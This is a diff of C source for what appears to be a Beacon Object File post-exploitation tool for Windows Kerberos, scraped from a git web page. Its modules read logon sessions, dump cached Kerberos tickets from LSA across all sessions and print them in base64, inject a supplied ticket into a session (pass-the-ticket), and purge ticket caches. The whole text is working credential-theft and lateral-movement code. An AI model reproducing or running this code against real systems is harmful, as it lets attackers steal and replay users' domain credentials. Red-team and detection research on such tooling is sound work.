BOOL highIntegrity = IsHighIntegrity(hToken);
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
HANDLE hLsa;
|
||||
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
ULONG authPackage;
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
status = GetLogonSessionData(luid, &sessionData);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;
|
||||
cacheRequest.MessageType = KerbQueryTicketCacheExMessage;
|
||||
for (int i = 0; i < sessionData.sessionCount; i++) {
|
||||
if (sessionData.sessionData[i] == NULL) {
|
||||
continue;
|
||||
}
|
||||
PrintLogonSessionData(dispatch, (*sessionData.sessionData[i]));
|
||||
PRINT(dispatch, "\n");
|
||||
if (highIntegrity) {
|
||||
cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;
|
||||
} else {
|
||||
cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
}
|
||||
|
||||
SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);
|
||||
KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;
|
||||
KERB_TICKET_CACHE_INFO_EX cacheInfo;
|
||||
ULONG responseSize;
|
||||
NTSTATUS protocolStatus;
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest),
|
||||
&cacheResponse, &responseSize, &protocolStatus);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
continue;
|
||||
}
|
||||
// check protocol status?
|
||||
if (cacheResponse == NULL) {
|
||||
continue;
|
||||
}
|
||||
int ticketCount = cacheResponse->CountOfTickets;
|
||||
PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount);
|
||||
if (ticketCount > 0) {
|
||||
for (int j = 0; j < ticketCount; j++) {
|
||||
cacheInfo = cacheResponse->Tickets[j];
|
||||
PRINT(dispatch, "\t[%d]\n", j);
|
||||
PrintTicketInfo(dispatch, cacheInfo);
|
||||
if (dump) {
|
||||
PRINT(dispatch, "\tTicket : ");
|
||||
PUCHAR ticket;
|
||||
ULONG ticketSize;
|
||||
status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket,
|
||||
&ticketSize);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status);
|
||||
} else {
|
||||
if (ticketSize > 0) {
|
||||
int len = Base64encode_len(ticketSize);
|
||||
char* encoded = (char*)MSVCRT$calloc(len, sizeof(char*));
|
||||
if (encoded == NULL) {
|
||||
PRINT(dispatch, "[!] Base64 - could not allocate memory.\n");
|
||||
continue;
|
||||
}
|
||||
Base64encode(encoded, ticket, ticketSize);
|
||||
PRINT(dispatch, "%s\n\n", encoded);
|
||||
MSVCRT$free(encoded);
|
||||
MSVCRT$free(ticket);
|
||||
}
|
||||
}
|
||||
}
|
||||
PRINT(dispatch, "\n");
|
||||
}
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(cacheResponse);
|
||||
}
|
||||
MSVCRT$free(sessionData.sessionData);
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
|
||||
PULONG ticketSize) {
|
||||
KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL;
|
||||
KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;
|
||||
ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;
|
||||
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
if (retrieveRequest == NULL) {
|
||||
return STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
|
||||
retrieveRequest->LogonId = luid;
|
||||
retrieveRequest->TicketFlags = 0;
|
||||
retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
|
||||
retrieveRequest->EncryptionType = 0;
|
||||
retrieveRequest->TargetName = targetName;
|
||||
retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
MSVCRT$memcpy(retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength);
|
||||
|
||||
NTSTATUS protocolStatus;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse,
|
||||
&responseSize, &protocolStatus);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
if (responseSize > 0) {
|
||||
ULONG size = retrieveResponse->Ticket.EncodedTicketSize * sizeof(UCHAR);
|
||||
PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR));
|
||||
if (returnTicket != NULL) {
|
||||
MSVCRT$memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size);
|
||||
*ticket = returnTicket;
|
||||
*ticketSize = size;
|
||||
} else {
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(retrieveResponse);
|
||||
}
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
|
||||
}
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) {
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_forwardable) == KERB_TICKET_FLAGS_forwardable) {
|
||||
PRINT(dispatch, "forwardable");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_forwarded) == KERB_TICKET_FLAGS_forwarded) {
|
||||
PRINT(dispatch, ", forwarded");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_proxiable) == KERB_TICKET_FLAGS_proxiable) {
|
||||
PRINT(dispatch, ", proxiable");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_proxy) == KERB_TICKET_FLAGS_proxy) {
|
||||
PRINT(dispatch, ", proxy");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_may_postdate) == KERB_TICKET_FLAGS_may_postdate) {
|
||||
PRINT(dispatch, ", may_postdate");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_postdated) == KERB_TICKET_FLAGS_postdated) {
|
||||
PRINT(dispatch, ", postdated");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_invalid) == KERB_TICKET_FLAGS_invalid) {
|
||||
PRINT(dispatch, ", invalid");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_renewable) == KERB_TICKET_FLAGS_renewable) {
|
||||
PRINT(dispatch, ", renewable");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_initial) == KERB_TICKET_FLAGS_initial) {
|
||||
PRINT(dispatch, ", initial");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_pre_authent) == KERB_TICKET_FLAGS_pre_authent) {
|
||||
PRINT(dispatch, ", pre_authent");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_hw_authent) == KERB_TICKET_FLAGS_hw_authent) {
|
||||
PRINT(dispatch, ", hw_authent");
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_ok_as_delegate) == KERB_TICKET_FLAGS_ok_as_delegate) {
|
||||
#if (_WIN32_WINNT == 0x0501)
|
||||
PRINT(dispatch, ", cname_in_pa_data");
|
||||
#else
|
||||
PRINT(dispatch, ", ok_as_delegate");
|
||||
#endif
|
||||
}
|
||||
if ((ticketFlags & KERB_TICKET_FLAGS_name_canonicalize) == KERB_TICKET_FLAGS_name_canonicalize) {
|
||||
PRINT(dispatch, ", name_canonicalize");
|
||||
}
|
||||
// if ((ticketFlags & KERB_TICKET_FLAGS_enc_pa_rep) ==
|
||||
// KERB_TICKET_FLAGS_enc_pa_rep)
|
||||
// {
|
||||
// PRINT(dispatch, ", enc_pa_rep");
|
||||
// }
|
||||
|
||||
PRINT(dispatch, " (0x%lx)\n", ticketFlags);
|
||||
}
|
||||
|
||||
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) {
|
||||
PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName),
|
||||
GetNarrowStringFromUnicode(cacheInfo.ClientRealm));
|
||||
PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName),
|
||||
GetNarrowStringFromUnicode(cacheInfo.ServerRealm));
|
||||
SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime);
|
||||
PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
st_utc = ConvertToSystemtime(cacheInfo.EndTime);
|
||||
PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
st_utc = ConvertToSystemtime(cacheInfo.RenewTime);
|
||||
PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
PRINT(dispatch, "\tFlags : ");
|
||||
PrintTicketFlags(dispatch, cacheInfo.TicketFlags);
|
||||
PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType));
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
#include "luid.h"
|
||||
|
||||
void execute_luid(WCHAR** dispatch, HANDLE hToken) {
|
||||
LUID* currentLUID = GetCurrentLUID(hToken);
|
||||
if (currentLUID == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
PRINT(dispatch, "[+] Current LogonId: %lx:0x%lx\n\n", currentLUID->HighPart, currentLUID->LowPart);
|
||||
}
|
||||
|
||||
LUID* GetCurrentLUID(HANDLE TokenHandle) {
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
DWORD tokenSize;
|
||||
if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LUID* luid = MSVCRT$calloc(1, sizeof(LUID));
|
||||
luid->HighPart = tokenStats.AuthenticationId.HighPart;
|
||||
luid->LowPart = tokenStats.AuthenticationId.LowPart;
|
||||
return luid;
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
#include "ptt.h"
|
||||
|
||||
void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid) {
|
||||
BOOL highIntegrity = IsHighIntegrity(hToken);
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
HANDLE hLsa;
|
||||
if (currentLuid) {
|
||||
highIntegrity = FALSE;
|
||||
}
|
||||
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
ULONG authPackage;
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
|
||||
int decoded_len = Base64decode_len(ticket);
|
||||
char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char));
|
||||
if (decoded == NULL) {
|
||||
PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n");
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
Base64decode(decoded, ticket);
|
||||
KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL;
|
||||
int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len;
|
||||
submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
|
||||
if (submitRequest == NULL) {
|
||||
PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n");
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
submitRequest->MessageType = KerbSubmitTicketMessage;
|
||||
submitRequest->KerbCredSize = decoded_len;
|
||||
submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
|
||||
if (highIntegrity) {
|
||||
submitRequest->LogonId = luid;
|
||||
}
|
||||
MSVCRT$memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len);
|
||||
MSVCRT$free(decoded);
|
||||
NTSTATUS protocolStatus;
|
||||
ULONG responseSize;
|
||||
PVOID response;
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response,
|
||||
&responseSize, &protocolStatus);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
PRINT(dispatch, "[+] Ticket successfully imported.\n");
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status);
|
||||
}
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status);
|
||||
}
|
||||
|
||||
if (submitRequest != NULL) {
|
||||
MSVCRT$free(submitRequest);
|
||||
}
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#include "purge.h"
|
||||
|
||||
void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
|
||||
ULONG authPackage;
|
||||
HANDLE hLsa;
|
||||
void* purgeResponse;
|
||||
ULONG responseSize;
|
||||
NTSTATUS protocolStatus;
|
||||
|
||||
BOOL highIntegrity = IsHighIntegrity(hToken);
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentLuid) {
|
||||
highIntegrity = FALSE;
|
||||
}
|
||||
|
||||
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;
|
||||
purgeRequest.MessageType = KerbPurgeTicketCacheMessage;
|
||||
if (highIntegrity) {
|
||||
purgeRequest.LogonId = luid;
|
||||
} else {
|
||||
purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
}
|
||||
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
status =
|
||||
SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST),
|
||||
&purgeResponse, &responseSize, &protocolStatus);
|
||||
|
||||
if (!NT_SUCCESS(status) || !NT_SUCCESS(protocolStatus)) {
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n",
|
||||
ADVAPI32$LsaNtStatusToWinError(protocolStatus));
|
||||
} else {
|
||||
PRINT(dispatch, "[+] Successfully purged tickets.\n");
|
||||
}
|
||||
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
#include "sessions.h"
|
||||
|
||||
void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
|
||||
BOOL highIntegrity = IsHighIntegrity(hToken);
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
PSECURITY_LOGON_SESSION_DATA data;
|
||||
NTSTATUS status = GetLogonSessionData(luid, &sessionData);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
for (int i = 0; i < sessionData.sessionCount; i++) {
|
||||
data = sessionData.sessionData[i];
|
||||
if (data != NULL) {
|
||||
// PRINT(dispatch, "[%d] Session %d %x:0x%x %s\\%s %s:%s\n",
|
||||
// i, data->Session, data->LogonId.HighPart, data->LogonId.LowPart,
|
||||
// GetNarrowString(data->LogonDomain.Buffer),
|
||||
// GetNarrowString(data->UserName.Buffer),
|
||||
// GetNarrowString(data->AuthenticationPackage.Buffer),
|
||||
// GetLogonTypeString(data->LogonType));
|
||||
PrintLogonSessionData(dispatch, *data);
|
||||
if (i != sessionData.sessionCount - 1) {
|
||||
PRINT(dispatch, "\n\n");
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(data);
|
||||
}
|
||||
}
|
||||
MSVCRT$free(sessionData.sessionData);
|
||||
} else {
|
||||
PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status);
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
|
||||
NTSTATUS status;
|
||||
if (luid.LowPart != 0) {
|
||||
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
|
||||
if (NT_SUCCESS(status)) {
|
||||
sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData));
|
||||
if (sessionData.sessionData != NULL) {
|
||||
sessionData.sessionCount = 1;
|
||||
sessionData.sessionData[0] = logonData;
|
||||
*data = sessionData;
|
||||
} else {
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
ULONG logonSessionCount;
|
||||
PLUID logonSessionList;
|
||||
status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
|
||||
if (NT_SUCCESS(status)) {
|
||||
sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData));
|
||||
if (sessionData.sessionData != NULL) {
|
||||
sessionData.sessionCount = logonSessionCount;
|
||||
for (int i = 0; i < logonSessionCount; i++) {
|
||||
LUID luid = logonSessionList[i];
|
||||
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
|
||||
if (NT_SUCCESS(status)) {
|
||||
sessionData.sessionData[i] = logonData;
|
||||
} else {
|
||||
sessionData.sessionData[i] = NULL;
|
||||
}
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(logonSessionList);
|
||||
*data = sessionData;
|
||||
} else {
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
} else {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
char* GetLogonTypeString(ULONG uLogonType) {
|
||||
char* logonType = NULL;
|
||||
switch (uLogonType) {
|
||||
case LOGON32_LOGON_INTERACTIVE:
|
||||
logonType = "Interactive";
|
||||
break;
|
||||
case LOGON32_LOGON_NETWORK:
|
||||
logonType = "Network";
|
||||
break;
|
||||
case LOGON32_LOGON_BATCH:
|
||||
logonType = "Batch";
|
||||
break;
|
||||
case LOGON32_LOGON_SERVICE:
|
||||
logonType = "Service";
|
||||
break;
|
||||
case LOGON32_LOGON_UNLOCK:
|
||||
logonType = "Unlock";
|
||||
break;
|
||||
case LOGON32_LOGON_NETWORK_CLEARTEXT:
|
||||
logonType = "Network_Cleartext";
|
||||
break;
|
||||
case LOGON32_LOGON_NEW_CREDENTIALS:
|
||||
logonType = "New_Credentials";
|
||||
break;
|
||||
default:
|
||||
logonType = "(0)";
|
||||
break;
|
||||
}
|
||||
return logonType;
|
||||
}
|
||||
|
||||
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) {
|
||||
WCHAR* sid = NULL;
|
||||
PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.UserName.Buffer));
|
||||
PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.LogonDomain.Buffer));
|
||||
PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart);
|
||||
PRINT(dispatch, "Session : %ld\n", data.Session);
|
||||
if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) {
|
||||
PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid));
|
||||
} else {
|
||||
PRINT(dispatch, "UserSID : -\n");
|
||||
}
|
||||
PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.AuthenticationPackage.Buffer));
|
||||
char* logonType = GetLogonTypeString(data.LogonType);
|
||||
PRINT(dispatch, "LogonType : %s\n", logonType);
|
||||
SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime);
|
||||
PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.LogonServer.Buffer));
|
||||
PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.DnsDomainName.Buffer));
|
||||
PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.Upn.Buffer));
|
||||
}
|
||||
Reference in New Issue
Block a user